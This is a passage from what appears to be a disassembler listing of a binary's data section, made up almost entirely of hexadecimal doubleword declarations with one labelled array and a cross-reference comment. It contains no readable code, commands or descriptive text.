5709FE63h, 13956E7Ah, 692010E0h, 19E06317h, 0AAA82520h dd 0EFBFF4E8h, 0F8FA0500h, 3CE11497h, 358B0009h, 0D812969Ah dd 0BC99E5E0h, 0E2DCC702h, 0FC04681Bh, 9DF832E8h, 7E040398h dd 0E2881645h, 471302C8h, 5E6A5CA7h, 0D04676E0h, 49B04006h dd 4201513Dh, 9D45E49Fh, 8090DECAh, 50C12608h, 6440C569h dd 0A9AF611Dh, 26DCBBF4h, 810C477h, 9826CC1Ah, 1044674h dd 10CAC3A4h, 0C070AA1Bh, 491A4015h, 7021435Ah, 0AC21C697h dd 2610086Ah, 0C0C4EDADh, 0A9381CD1h, 4F12BDE6h, 0E78A0h dd 55053005h, 0BCDAFB98h, 0ED410438h, 0B1046C20h, 0E204D462h dd 301EF210h, 0B002F3BCh, 7398374Bh, 5C0257A8h, 1061D593h dd 7D603070h, 14766140h, 0B0EA151Ah, 93CE1210h, 823282Eh dd 85ABB000h, 29A2358h, 0C7217F82h, 0E85111A7h, 0BF87DF11h dd 0B642726Fh, 1A61A459h, 0CEC86FB7h, 647E06AEh, 71184999h dd 0E43F51ECh, 81218F90h, 0C657A0AAh, 98286729h, 2AF300A4h dd 1F859207h, 230272C4h, 90B6BF7h, 90AC6110h, 7DAF02DEh dd 2344B4F8h, 209C0A7h, 6EE76F74h, 7D3D8700h, 0E663DF72h dd 918A7F5Dh, 1805D168h, 329F38D3h, 0B522AD03h, 0F8E408BEh dd 8C1CBC50h, 7AABA503h, 0B1E328DFh, 17A8149h, 5E9B9460h dd 0F60F0288h, 0ACAE1E7Ch, 97638B94h, 79524B0h, 5A98ED80h dd 8EC484A7h, 0E39CDCh, 0EB94412Fh, 0A0958916h, 0C00BABB0h dd 0DA613BDh, 0B234B314h, 1AF83380h, 1D242DADh, 0D6182888h dd 86D561h, 0EDEEC6BBh, 78A4E0B0h, 64D22324h, 7D3E108h dd 0AAF88B95h, 1EB00088h, 8A058107h, 0D7726B03h, 2C55132h dd 0A68BA26Ah, 88903ABAh, 0CC9869BDh, 573B9FE6h, 1081258Dh dd 27421278h, 1CC0DB65h, 0D6801980h, 46BD0C24h, 0EF487731h dd 1E4005E0h, 4A58B88Bh, 598483F7h, 0F0C61008h, 868AC12h dd 61110681h, 0B390EF0Eh, 0A68940D8h, 0FC90494Fh, 833A47F8h dd 152898F0h, 10FF4892h, 1E5BA2Fh, 67B60332h, 0F4669724h dd 4405A9FBh, 0D9C8B237h, 0FEC00CDBh, 9B92FFB3h, 0F8642A30h dd 4E381D5Bh, 7AAC2272h, 339D9120h, 3022B5CAh, 0E9011755h dd 0AC385788h, 110873Eh, 0E8E70502h, 21AE2127h, 21F696Ch dd 8008DCB4h, 37BB5789h, 5807315Ah, 2A089AB1h, 0E20E3C50h dd 8C0755E8h, 89225828h, 0AAF32C0Ah, 8C08586Eh, 2CED626Bh dd 9B91C200h, 2421956Eh, 843FBA0Bh, 0C9D0C730h, 0E10ED523h dd 343BA0E9h, 40B2A4F0h, 8D3080F2h, 0BDB404E5h, 0AAFBDEACh dd 1FA00C60h, 4FFC803Dh, 1D995403h, 2E1543h, 1BA4A999h dd 5871A860h, 0BD292B02h, 0F6AE6389h, 0C576298h, 0B6B09855h dd 69B2797h, 7183D4C3h, 2B47911Ch, 371EEA28h, 18405DFCh dd 0C83EBDBAh, 6D4C00ACh, 0C09089C3h, 4405BE32h, 14F54B49h dd 0FE05CB0h, 436F8395h, 0EA141CF2h, 15EF17A8h, 3898C284h dd 3058205Bh, 97921C70h, 7593808Ch, 0E0BA2CC6h, 10A81349h dd 0C2006898h, 0FC9CFD2Bh, 2414A1A9h, 5F88C9B2h, 395AC088h dd 0BC8196E4h, 8EFB7305h, 0A313C4EFh, 488CA148h, 8C01E8F0h dd 33D6E00h, 0BD372F98h, 0E61D0594h, 0B85E1A79h, 8C19E878h dd 3C7C0460h, 35EEF90h, 5689CA93h, 0E8792AB9h, 0A687CC09h dd 53B0A791h, 55316F02h, 3015CBDh, 5E21FEDEh, 0DC22D821h dd 0F3925904h, 5400BBD8h, 0FB91C178h, 0F48BBDEAh, 2496FCF0h dd 9065740h, 0F27607B4h, 20D7B6B3h, 0C9B3F9Ah, 1164FE4Ch dd 884F1925h, 0E658094Ch, 96522C4h, 0DCFDC4B7h, 2F64F041h dd 15988804h, 0A4B257h, 3FCD997Ch, 0A19DAh, 886F72C0h dd 50A0B7D2h, 954B8B10h, 41C1E030h, 0C4F4015h, 20839862h dd 0D3AE74FCh, 61B07B30h, 151720D8h, 18B6407Ch, 0F840133Ah dd 0FE039D78h dd 2F5A5C55h, 3AB0Dh, 0F247E139h, 9FDB67CCh, 1E00EC7Eh dd 0B0F00E3Bh, 0B171158Ch, 1816D9B8h, 4E890A33h, 26A40E3Dh dd 3BDA3D4Fh, 82348h, 0AEDED30Dh, 0D700AA63h, 770E976h dd 0C571E545h, 0B1F260h, 0F0D04640h, 9E000DFFh, 7CB43CDAh dd 1A561Bh, 0DB3D457Ah, 0D2AD5AABh, 41EA0B17h, 4498DCF0h dd 7100DC02h, 4322DABAh, 9E92CC4Bh, 0B57C4084h, 0A43F5E13h dd 0F44C01C8h, 1BE04143h, 2848686Dh, 0D08A5622h, 467610D6h dd 47860779h, 0D630DEECh, 148AF52Bh, 0A404AF49h, 8C05F8h dd 0AA1AA62Ah, 0C6D7DFC5h, 9379A905h, 40D481E2h, 10E9ECC8h dd 43D3398h, 0EDE3AE8Bh, 846FE203h, 6829A099h, 8C6BEC64h dd 0CB0FA9B0h, 0C1505963h, 0B47A71BFh, 4900A06Dh, 92DCE09Eh dd 82049DB2h, 8D45CB94h, 7E106CF2h, 24FD9261h, 0A17FFFA8h dd 0DA9F7507h, 2E874EDh, 0DC58FB95h, 29F8A455h, 0D946B442h dd 1AD9B059h, 80043A18h, 0A7D3577Bh, 591870FDh, 0F36DCA8Ah dd 9981F100h, 0F0723EB9h, 83D31398h, 3ADC88ABh, 0F86F89D2h dd 6A09AD3Fh, 4C0554F1h, 11E8FD06h, 0C700194Ch, 0E6AED6FAh dd 170E1430h, 0C0C216A4h, 421A2453h, 9A931392h, 0D55CC972h dd 45090020h, 510BE31h, 0F9027C49h, 0E6EDE86Ch, 22D74F8Fh dd 0B424140Ch, 9280F0E8h, 63D57304h, 1124979Fh, 4A8880C7h dd 0E467ADCAh, 880955Dh, 39F83F19h, 8B166313h, 3E8140D8h dd 86366130h, 0A7021808h, 410D7918h, 8BC8761Dh, 0B0654759h dd 186131E2h, 0E6007A52h, 0EF360B64h, 518F4BAh, 56932FA6h dd 0E1D40582h, 0BC04BF20h, 80821117h, 69590665h, 4C435801h dd 0C0395C28h, 8364D32Ah, 89B569EEh, 0D6D8E250h, 0C4467628h dd 30A00A2Dh, 36925BD8h, 0EFD94202h, 0E064CB09h, 2FC0F3B4h dd 80A373B1h, 31006556h, 7258BB1Fh, 989C498h, 0EBB0EF8Ch dd 0BE096870h, 0FAB142F0h, 0D7D20020h, 13B80C1Ah, 0EB075A37h dd 0AFB32B77h, 63ED8F60h, 0FD8C1E1Bh, 0A471D74Fh, 743F8C8h dd 92C6810h, 5023A0EFh, 19FC2E80h, 480101B6h, 20D23518h dd 1A8811A4h, 3F550068h, 0B796DDC8h, 840043E7h, 74DC07A9h dd 968E16F1h, 0E9DF8F30h, 88DE391Ah, 4D191140h, 5EAE00BBh dd 73D4174Eh, 0A34BB05Bh, 0ABC32002h, 2090F5B1h, 0D7256127h dd 0B94D0ACh, 0EF9CF8D9h, 0E81E80FAh, 29014C3Ah, 18E1DF22h dd 8305B111h, 0AC9A7741h, 1A45C0C7h, 0C2AA30C6h, 0F815FA1h dd 80BBA802h, 7586FB1Fh, 0C4713802h, 0D9275C52h, 7CC4D4h dd 0DDC96EE6h, 735B98C7h, 89017CEEh, 0DAC2C08Fh, 0CC7AEAABh dd 16059240h, 0F0700A39h, 0C86C26EBh, 75F32B05h, 0A4E932EFh dd 0C5D5FCB9h, 0EF29D00h, 0CF54483h, 9B798010h, 6A67722Dh dd 0A9F810A4h, 0FE4E3FB1h, 0B2106313h, 0B77A0068h, 81094024h dd 0A5C0BCAEh, 63720CC1h, 30C6F21Ch, 64508584h, 7940CA88h dd 1004BF09h, 0F0D902DFh, 0D15089F5h, 18047968h, 0BDD40047h dd 9FA3CA8Ch, 453E239Bh, 208CCC6Fh, 0C36A4402h, 87849F0Ch dd 43B9E898h, 715221Fh, 1BE73743h, 0BD225117h, 0AB1441A6h dd 33DC40D3h, 629FD9C7h, 709D550Ch, 33807F91h, 95581D08h dd 2B4CF61Dh, 0A7ED4F47h, 92868D6h, 171C15EFh, 1D9B459h dd 78014118h, 91D3CD6Ch, 427EC6FBh, 1868FD90h, 9088B204h dd 0C557001Bh, 3EA3BB14h, 45053BE7h, 0F0DC249Bh, 4429444Fh dd 0FCB57AEAh, 2791DC08h, 0B4C0CE83h, 304EBBE1h, 0CF8FA445h dd 4E16DCA8h, 0B37C4401h, 346BFE38h, 24702E00h, 61F854DFh dd 94288A04h, 0F2CA9Bh, 8414C010h, 5C496555h, 3ACB2C99h dd 39AF9CC1h, 59AE8700h, 66C102F5h dword_4E414C dd 67EA0B38h, 0B0798E98h, 1380681Dh, 0BC2F44FEh, 0D20B2D92h ; DATA XREF: ___:off_43ACE4o dd 7E0C1800h, 0D49E9D30h, 6DD1FF40h, 0B721003Eh, 0A98086EBh dd 0DA15BF84h, 9F0600Dh, 7C5BF0D8h, 7F98010h, 436EEB17h dd 0DDE6209h, 41281254h, 0C82A5748h, 0C40FC2F8h, 81CDB0F9h dd 0DFB97AB1h, 3D006833h, 856FE61Eh, 761D4FEFh, 0ACC0E180h dd 0F3BBBA73h, 94B2F6h, 0B0AA3059h, 8395B6F8h, 0A09F2B2Ch dd 74ECC8A7h, 4447008Dh, 8ADB15BCh, 61FF994h, 0A4D4A3B4h dd 70B02AEh, 0D9595E53h, 181E7978h, 2D0400A8h, 7A73CE92h dd 8712B4FEh, 0B8555556h, 6DBCACh, 113A9BCAh, 424AB089h dd 0E128ED27h, 582DE228h, 0B5451F04h, 10FCBD06h, 6E5B1E05h dd 0D9D500CCh, 5091A9E6h, 0DC60F7CBh, 2B6D2D4Eh, 4B5CE068h dd 4956677h, 7BBB78F8h, 97D60248h, 496DFE93h, 4185C3B8h dd 0A137B069h, 0C1D068B4h, 0E98CCAB2h, 0DC48C82Eh, 6617D4EEh dd 5D0A63D3h, 7D08BCC8h, 0BC1B2D76h, 74091810h, 0AF92F20Eh dd 491C49E6h, 0B163C207h, 4DB0E05Ah, 39EB19FBh, 0C78E235Dh dd 0D4355ADh, 0A1279C5Ch, 0D9181063h, 69ACF049h, 0DC821109h dd 9C825E0Bh, 0C1002E41h, 953A930Fh, 0AB20008Eh, 0B591FB95h dd 5D0A5490h, 0EC39B4EDh, 603CFE8Eh, 929F693Dh, 81520023h dd 0F033D1DBh, 0F89BC2B4h, 0A0E03D97h, 0F8019794h, 3991477Fh dd 696F123Ch, 820AC008h, 0CD17E8E7h, 9B826CDEh, 768A93BBh dd 1CB01440h, 2440FD93h, 1F8B280Dh, 9CB07864h, 0D5DA8054h dd 9BA6892Ch, 8FB8EC52h, 2B40B8BDh, 38228228h, 64D670E6h dd 0D4C4CD89h, 4521770h, 10AE0E8h, 0EA3F3330h, 56CA3078h dd 2DE9007Ch, 0CE59766h, 0C0B61E4Eh, 3258B24Fh, 0A97FFC43h dd 8E8056ACh, 0B285DD44h, 0E3202C02h, 1588E673h, 977240B4h dd 82EB27h, 6F212B94h, 70D8560Eh, 0D6906E28h, 55B8D8E0h dd 41821742h, 1C79E4E0h, 276A4E88h, 31E22C65h, 21541861h dd 0AA27B80Bh, 0CA5C41BFh, 5AFC02h, 6ADC70E5h, 96506895h dd 570C07Fh, 72FB5EAh, 89D4B700h, 427A696Eh, 0E96800E4h dd 2A9359C5h, 9730D133h, 61B22151h, 0F37792Bh, 79505815h dd 0DAA4E983h, 0E7B79BA0h, 0A9104897h, 4A4B07DCh, 80545CD0h dd 2FBFF035h, 0A60071F2h, 0D59809D2h, 29A8941h, 72DDC8B4h dd 60C26F2Ch, 0A4F4F889h, 279CE0Bh, 164E4F8h, 3EE0DCC9h dd 0A1AC2420h, 80132628h, 9256004Dh, 0A65E25Fh, 0BCE2045Ah dd 0E20A12BAh, 1C390402h, 47A8616Fh, 6CF9108Ch, 0A0401008h dd 0A245408Eh, 54280F63h, 8083173h, 149F421h, 88C8E9Dh dd 25202E3Bh, 63964C40h, 750B101Ah, 86CE0819h, 0D1114418h dd 9F3F01F0h, 70DC001h, 270613E4h, 58330811h, 767620B1h dd 7D8D4071h, 28084262h, 0AB20384h, 41763031h, 1898BD0Fh dd 0ADD76920h, 0CC53FC80h, 5D59E408h, 7B194366h, 81417128h dd 5191881Ah, 7D5C08EFh, 6051A319h, 4A0818Dh, 88626110h dd 0C030108h, 5820963Ah, 636D6540h, 0BFCD1093h, 0FC590810h dd 202C9E18h, 8CC66B4h, 40FB5981h, 0E5631907h, 318FBD10h dd 0CC316308h, 56DD0177h, 12D0D01h, 0D102F394h, 0FD0BE8A2h dd 5B4BF02h, 98E0446Dh, 95A606F6h, 8446241h, 6E02BAB3h dd 8165065Fh, 54FAC020h, 4098E832h, 6B63235Eh, 1D053A08h dd 2016E918h, 6CED6A40h, 5059B9B7h, 0F4DE94A8h, 912C10CCh dd 7EB6405Ch, 9A75F4A8h, 0CDEA4680h, 0F9797430h, 0B9089802h dd 818873D9h, 0EA002499h, 8824B0A9h, 0C4ACF79h, 60497EC6h dd 0E70710C6h, 8CC35408h, 9C4C4093h, 0FE280163h, 1EF932B2h dd 0F8048E59h, 0A3D88891h, 92909024h, 4D534024h, 0EB843040h dd 52AAF301h, 0BF0448C8h, 1489A491h, 78D50888h, 0CEE0E08h dd 34286354h, 40E51040h, 0C0645964h, 98912218h, 0F5011B66h dd 105D0361h, 33B17929h, 249EB145h, 88A843E1h, 0B019F1EFh dd 0C198E5B1h, 0A7BAF105h, 0F2FE08C4h, 45DAC04h, 260A448Bh dd 0FE6D889Ch, 3C5D7B12h, 990E59F1h, 35F7901h, 2020CEC6h dd 0F26257A6h, 2943D11h, 1C0323A1h, 0D3081015h, 0A0B72A24h dd 33F5AF20h, 0E7187A86h, 0B09704FCh, 4164C04h, 620998AAh dd 0B51E3022h, 0AC918504h, 11A26ED9h, 0E02C54A0h, 0D5A04028h dd 0E08A39CAh, 8FDA888h, 0C20243CDh, 64E1BE86h, 0A9B30FA4h dd 0A03666ADh, 0AC135BE4h, 0D8E85E45h, 76A61301h, 0E04FDA33h dd 8D161887h, 8441E5E1h, 0ED61D6A9h, 16AC19E8h, 664717h dd 85343618h, 0DC086097h, 8F1FE452h, 16009871h, 3D9120CFh dd 0CABDB51Ch, 0C05E78D0h, 0D9974CB0h, 0A7C760C0h, 2AB9A0h dd 2D285B02h, 0C686C585h, 0AC60F5F8h, 0D6E4318h, 6695309Fh dd 0A74162D1h, 10F52530h, 7843E40Eh, 21C90096h, 454C5AC8h dd 82006B1Bh, 240F8F91h, 5901B4h, 94FF641h, 5ABF5C7Eh dd 0C4DF4903h, 0B02C745Bh, 0A105E672h, 2478F693h, 465EF1Eh dd 412D2659h, 86D02AE0h, 8341989Fh, 0BAF3FA0Dh, 5E3D1180h dd 6D0040B6h, 8FCD1FACh, 8EF700D9h, 593110A5h, 976E451h dd 0D5EC7900h, 267B25B0h, 4E241F80h, 0DB1C4005h, 0D1928D40h dd 1B9A9F00h, 49E03B38h, 9840F5F9h, 0F0D546AAh, 90356093h dd 86D41FC3h, 163A7E2h, 0B0C59181h, 1D881DBBh, 89D769h dd 0FD1E2A7Dh, 0CB27A70Bh, 8E788112h, 0AC43810Eh, 9C98B8ACh dd 80030C79h, 0E9F00D59h, 0EF01757Eh, 61DA0E96h, 199F2EFFh dd 43F2C15h, 0AAD55FACh, 0E0006489h, 59786DDh, 0A9C03466h dd 411000AEh, 7FD0E9Eh, 76887001h, 72B1B609h, 8930803Bh dd 0AF6F86CDh, 9FDF62E0h, 0E9F890FDh, 1A6EC1Dh, 4061FFC2h dd 20169252h, 0E5410E24h, 0C8EC2C53h, 92BF2DA7h, 2C5C3C28h dd 3C81F930h, 0D40CC4D5h, 596882E2h, 979F2843h, 1A491934h dd 0C5AC50F1h, 0CBC06B23h, 1F2D5099h, 67E35Fh, 9E8D1644h dd 2C62DAC0h, 7A6DE489h, 24710220h, 44C7B185h, 7D68BD00h dd 30287D88h, 0FD305FFBh, 9540F5B4h, 94875067h, 808300ADh dd 5B590ABAh, 0D027F6Ah, 74D2990h, 71088013h, 2E40FB5h dd 52334C6Eh, 17432A11h, 38E1F00Ch, 14B9C86Dh, 0AC67F432h dd 1EA88724h, 3AAFC0D9h, 0E4073073h, 0FB474B00h, 0EA87D3A8h dd 5FD100B4h, 0A7AC6AFAh, 81E378Ch, 9C95E2BFh, 0C007008Ch dd 0F57853F0h, 900AFA66h, 0DBC40160h, 1D4C16B7h, 50076F6Bh dd 0F5830EADh, 0F0105132h, 7338D06Bh, 4101A9B9h, 307BB620h dd 0FAC85FD9h, 0D584003Ch, 54353D26h, 0E139E60Bh, 807D81B2h dd 0B4DFA703h, 5157408Eh, 0A3EDA5h, 86D5819Ch, 0A24DB2Eh dd 2C40D01Ch, 24E2724Bh, 843806B5h, 951ACDA7h, 61641278h dd 0E05E4B24h, 650282E8h, 4FCAD77Fh, 654683Dh, 0FBB63934h dd 251C28B8h, 0B46A075Fh, 0A8802DADh, 0B5060810h, 6F2B2173h dd 2FC601D0h, 0EB1B207h, 872882D4h, 446EE1F8h, 49A77910h dd 98744811h, 0EA3426BDh, 35B133Ch, 91BEA734h, 18F048h dd 7E63D5F9h, 0C1BFC9B4h, 0E472D640h, 8128406Ch, 0AE48669Ah dd 68BD2D80h, 80688F2Ch, 401335A6h, 6C047D5Eh, 541DD2BCh dd 0FD96486Ch, 0B43D0460h, 1C850C8Fh, 0F2C6E44Fh, 89DEEA06h dd 5B13C08h, 0D3282064h, 0C1CED1CCh, 4FEC0A03h, 6F86A7h dd 0E0B809E0h, 0E1BB61FCh, 0D9324072h, 106F8116h, 0C8A49B9Fh dd 0A81D1B31h, 1F00DE87h, 0AD00674Eh, 0E949A9BFh, 1E2B80A1h dd 5FAC37E7h, 1D430015h dd 0FDB2E403h, 0CABC1403h, 0BA49F11Fh, 0A2E4A26Eh, 0E73080D6h dd 98570669h, 48DE75DCh, 0B4831C20h, 907743AAh, 86E0E218h dd 10E6BEA9h, 21CEF36h, 0CD757241h, 0AE9D4089h, 572E0202h dd 0F9E149CCh, 2FDE1C60h, 0EB39103h, 0AAA9CDD2h, 9634C057h dd 8028093Ch, 0E082BF6Ch, 0DC074F24h, 21EB6170h, 4C5213CAh dd 0ACEC40A9h, 0D3A1B6ADh, 131F103Eh, 7452FBB7h, 82B12009h dd 55D09F8h, 0CFC40542h, 78F10080h, 0A7D1160Bh, 0F8175837h dd 82751280h, 0AA9B00ECh, 5BEAA841h, 0DB505FA7h, 270E58FCh dd 8F59DC91h, 0E29B01AFh, 55CD84B2h, 6300B878h, 96F042F3h dd 2558BDA3h, 4C9050FCh, 98E71F26h, 739AA780h, 30E16EB1h dd 0B23875C3h, 0C0A6DADEh, 0D4AB38h, 224197FBh, 15688AFh dd 0BE614F68h, 64B321A7h, 48B045ACh, 70A1C99h, 0C262D41Eh dd 0D6404136h, 210E9092h, 33654Ch, 6F6F903h, 9FE2BE27h dd 0C053874h, 0EFEE6AAFh, 0D670F091h, 0A7B66100h, 6809E330h dd 50D2DC92h, 6287E81Bh, 0A974703Fh, 0EBBB6860h, 0AA71E8C3h dd 10ACC172h, 0E100C065h, 0D2E0DAh, 4EA95BA5h, 0C05D4B37h dd 6DE29D03h, 0E12EEFD3h, 0A941AD46h, 0C2E1583Eh, 0E5978A30h dd 3DC0E182h, 4C09215h, 0D900A8D0h, 5F4B592Fh, 341E47Bh dd 4C10BB2Ch, 78000A39h, 0FB745709h, 0DD9232h, 341E91FCh dd 41F2FDB4h, 0A5E04F75h, 5CD3A0A0h, 872D4E14h, 0FBDD00DCh dd 0D5119DC7h, 0C5B33C06h, 0D36E6D0Ah, 925805D2h, 0A7689C76h dd 0A8940232h, 0C1DB6398h, 0B0629914h, 5886BE41h, 30B9B2B1h dd 0EA732F0Bh, 149CB815h, 0BFCD06DDh, 59C27632h, 6811120h dd 97B4FF24h, 0D09318B6h, 8BCF9C24h, 35D41898h, 4100F90Bh dd 0B1005C9Ah, 0BE285ABBh, 7ADC0AC2h, 8EE21929h, 23653010h dd 0E0DB2D20h, 1D928DCh, 0AE0C352h, 4112E1FBh, 4D158F4h dd 7061D00Eh, 2B05724h, 91853589h, 0C54D7C48h, 475E280h dd 1F2658D5h, 0AB54C08Dh, 5090BDDh, 9149391Ch, 640975F0h dd 0EC7EB4B8h, 481E88D6h, 0AB00DDD0h, 1C13CEFBh, 0A0009FCBh dd 7D6D6145h, 103B624h, 0BDA851E1h, 0C4A789F0h, 0B49AF94Dh dd 6C5FC919h, 0B052B5E1h, 48A0E281h, 609B4C18h, 1AFF2069h dd 0B42F3140h, 0DA30409Dh, 80A52EE2h, 12D9788h, 8CB43AECh dd 0ABA180A7h, 1244A9F3h, 0DC593A61h, 0C8307EA5h, 0D103428Ah dd 0A77F180Ah, 5C18A6A9h, 6062830Dh, 0C00A99C4h, 50EC05B9h dd 0E831969Fh, 3070BE43h, 0F5BF00ACh, 1AC3EF90h, 7D6FDC4Ch dd 0FD9F45B8h, 7844A0F5h, 923D24A0h, 0D3C20688h, 20F563E2h dd 73C8E360h, 0C22F414Ch, 0D53AA721h, 234EACC9h, 0D4131008h dd 65616E0Eh, 0BCB2A7C3h, 1C092800h, 0DDEE2B47h, 72500171h dd 0E2E0BEECh, 25287CB7h, 17032B3h, 0A4F9A78Ch, 0E9084080h dd 0BAFB8AB5h, 0F3B8C10Eh, 6F524B1h, 0F954C3h, 4122AFEEh dd 6FF7C233h, 5C2111C0h, 58831FC6h, 7126DC53h, 125C2624h dd 3244207Eh, 48C32984h, 9883A7h, 0AAA9270h, 3E4C3DE0h dd 5848D859h, 10485840h, 8513542Ah, 88E0253Dh, 0B8C47694h dd 41EB8D6h, 0A244AC48h, 2D5004ECh, 0EC22C585h, 4892D4C1h dd 5C0361E0h, 0D6D2CDCh, 0B186A84Fh, 2A8B1ECh, 651EF6AFh dd 0AA399240h, 60C0F17Bh, 2C1DBA35h, 0F35878D9h, 0D4940845h dd 488EC4C2h, 3975FC78h, 0B10D67B3h, 0DDF86F2Ch, 0C49821A0h dd 47F5B3Ah, 9349F00Ch, 0AAF894h, 651BD5ADh, 0E864366h dd 0BB244197h, 92ECC36Fh, 97AC4ACFh, 0E008445Fh, 4C1C8007h dd 0BA488F49h, 24713B48h, 0B1160877h, 28C49005h, 9B330081h dd 5DBE6880h, 436EE420h, 46A82500h, 0A949EE87h, 8120D2FDh dd 1578B238h, 3B097091h, 0C0B1BA01h, 8096625Ch, 904EA990h dd 1B2D277Ch, 0B1B0EF06h, 18DDD2h, 0B39CF85Fh, 0A6435C55h dd 1C9ACD3Ah, 66009F23h, 0E1DAA29Bh, 249C99B5h, 0C09182FCh dd 48695842h, 40B42CB3h, 0BD6735A8h, 3271D329h, 11A2D070h dd 269486F8h, 1F64E409h, 0D9901E3h, 0E0B26810h, 0A8A86349h dd 3360284Ch, 0B62AC578h, 0A028928Ch, 9006D130h, 92A718FCh dd 1A43E175h, 7C091FF8h, 84D4C8B4h, 68E46248h, 604B40F9h dd 8E42D0A8h, 19FB0E17h, 4C39E480h, 506E5092h, 11672EE1h dd 876CA9F4h, 9B49AAF8h, 94B8A5h, 0A891AB80h, 4995C5Ah dd 0BCB0AC0Ah, 2CC45745h, 9666F888h, 0FA82104h, 2E806C1Fh dd 0F44C0FDDh, 91F48E50h, 6171A301h, 0BD0EA748h, 3AE7F880h dd 95DCA26Ch, 79768B03h, 0DA19B1AEh, 0F9D06661h, 2DC801h dd 0F91D2C7h, 0FC90828h, 71DA70E0h, 0DC005E64h, 0DE0E9E58h dd 1DC341E7h, 22EA60Dh, 0C4ABAC2Ah, 18A6704Bh, 202FF1F5h dd 0B5407B64h, 0E0D40780h, 56A73313h, 6698A0AFh, 7F317904h dd 8D82841Ah, 84785Ch, 5908B224h, 0F3C56A2Fh, 89A9D338h dd 25461F7h, 0A80FF9CCh, 9B88BCB4h, 0A9BE091Ch, 5DE21C9Bh dd 0B607FC54h, 84C72ADCh, 0A704E839h, 9C714DA5h, 1C00EC45h dd 70C84FD9h, 30A060A7h, 0A591B673h, 0C2F1E225h, 498C44ECh dd 0A09474E4h, 69A7DE04h, 8D2B00F4h, 243C4F0Eh, 9147F85h dd 0C0020DEAh, 0B00207C8h, 6114E1B3h, 1E7011A6h, 0CBEEC0D5h dd 0A16427C3h, 0AE3EDD05h, 0D4047C2Bh, 30D49DACh, 0C165A080h dd 9BA12A2Ah, 61D1026Ch, 2D60E9FBh, 38361461h, 0A0198728h dd 0E5FBD290h, 0BCE4E975h, 4B64BA7h, 0C2EA76C0h, 0D8E65B40h dd 0B20A54A0h, 2129E700h, 13A7D022h, 8930C6DDh, 0E030F049h dd 0F36E41D2h, 0B477244Ah, 7E1911A0h, 7FC23E01h, 93F749D1h dd 72CC092h, 42528454h, 907110EAh, 8D3049C1h, 0C10830A6h dd 7278B1E1h, 26B60458h, 7CC43BCEh, 73A088C7h, 2E339CC8h dd 1DEF4D59h, 9FEDC08Dh, 0B1CCDEFEh, 0E7B7DB01h, 10237F5Fh dd 16F5ECF0h, 161629C9h, 158B85Ch, 49DDAA6Ch, 0B854F420h dd 0E0E9B4C2h, 474120h, 806FFDDEh, 2BE76A06h, 0C2DB42Ch dd 0BFBEF79Eh, 21591D05h, 81A44080h, 39CABFA9h, 5A81A868h dd 48DFA041h, 0EEFCCC69h, 0C8349000h, 0A7C731C2h, 0A8AD5138h dd 0D2E429F1h, 0E6B4B235h, 5893F2h, 190B9FA5h, 0C75176E1h dd 82F52088h, 923E4109h, 2EA44E1Eh, 80D83BC9h, 0E36AF718h dd 0E0B0E0B9h, 0C18E460h, 9AF6F6Ch, 38DB49FBh, 0C7B31C24h dd 0CAB434h, 68FB5FC6h, 0C97734B4h, 0FC60C058h, 6F0A3532h dd 0D8EC504Ch, 6844590h, 0B90F213h, 0E60FB5h, 0A81B0C8Ch dd 4B0B1E28h, 49D906DDh, 5C0E29F3h, 6038E8ACh, 0D6BBCF4Ch dd 285A03C9h, 6B3133CAh, 437CD9FDh, 1BC8D31Ch, 0B0F2E3C5h dd 9943A900h, 1D238F8Ch, 0F8485C56h, 804D8300h, 0DB4BE9ECh dd 11449A1Fh, 0BC79FF00h, 1C8D858Bh, 807468B7h, 4FD6B22Ch dd 0D5492603h, 0F40E26F8h, 78312183h, 7213E07Ah, 0E85A5CDCh dd 0EC05B4D5h, 10A92A49h, 0BBC1D8E4h, 0CBCBE2DEh, 0E105DFF2h dd 9981D031h, 1FD9430h, 675C5B60h, 28BB8517h, 0B12D25E0h dd 0D463AC68h, 20E40B18h, 0FE06CB61h, 0F46EE11Ch, 43221228h dd 1DE85608h, 0ACB4A4B0h, 0ECB7BEB8h, 0A4BA7110h, 5861FABBh dd 77A0274h, 44C0294Ch, 165A7331h, 0C60BE816h, 58B8CA32h dd 5CDB4BC8h, 13AB902Ch, 0C8C10BDAh, 0F86CEEF2h, 0C07B129Eh dd 2F1908E8h, 2404D1D2h, 0CB1CD90Ah, 2C40C239h, 525987B4h dd 31606158h, 88246BAAh, 7259C4B6h, 4494C0ECh, 29D30D6Eh dd 0BA5FCC71h, 58D4E471h dd 782A00EEh, 35E8CB1Ah, 4A6193B4h, 0E6E2D6B0h, 0BD9007F3h dd 40347EA3h, 499B8AE0h, 12CAE5Dh, 0B92948ACh, 603870h dd 44968463h, 3EA36A88h, 591D4D3Eh, 9249046Eh, 72FB0979h dd 9C9F0070h, 303BE347h, 65FAB2E4h, 1F137502h, 826AE1EBh dd 784DA708h, 0A35B7110h, 0C6040EBEh, 79CC2C71h, 667192A8h dd 0C00BE8CCh, 0FADA00BFh, 7B71AE8Dh, 36204C07h, 2E49014h dd 0A73D81CAh, 0FC6CD41Fh, 0A48476C9h, 0B080AFACh, 90DDA349h dd 0A7D108E8h, 7D39F340h, 6060E2Fh, 0B9F889CCh, 69E1861Ch dd 71FD48CFh, 6C60C620h, 8619DC71h, 16B00E79h, 0BAFB0030h dd 0B4A49BF0h, 9B8C0E0h, 7800FCABh, 9F7C4673h, 13D468E7h dd 3EC6A8Ah, 0E36E25Dh, 0C4026877h, 75FC9067h, 0DF9E8526h dd 0EFE370D9h, 0B38C00FBh, 3AA37758h, 2000D3C4h, 8C7633E2h dd 0D73284Ch, 7875B724h, 8240D188h, 0FDD386C5h, 60033866h dd 49851FC6h, 0C1B90071h, 69B4EB87h, 0E102DCACh, 0A952DAB7h dd 0F13063E9h, 89F053ECh, 0A097F054h, 0F5B1C008h, 0DD5825CFh dd 0ABA73402h, 5DC188C8h, 0E47E9226h, 68F65FE0h, 604300ACh dd 9197980h, 0F51ED61Ch, 4B07956Dh, 1D844C72h, 93FDAC90h dd 6E3007Eh, 9F2E4399h, 0CA001C98h, 6EE4113Eh, 7CA2C7EFh dd 84E81ED3h, 61B109E9h, 10DEA800h, 309B331h, 56B89C4Ch dd 970C2408h, 8A7CD7DCh, 0C9D6E6E0h, 74090B6h, 1CB6D13h dd 0B8A9C023h, 0F078AD99h, 0F89E55DAh, 3D9A4C04h, 780E141Eh dd 0A78801D6h, 0A875573Eh, 240976B0h, 85F85F25h, 0FCA87310h dd 0EAFA8A00h, 86DD8957h, 38DFB114h, 93D400E0h, 0CF66CEC6h dd 0C8B40FE1h, 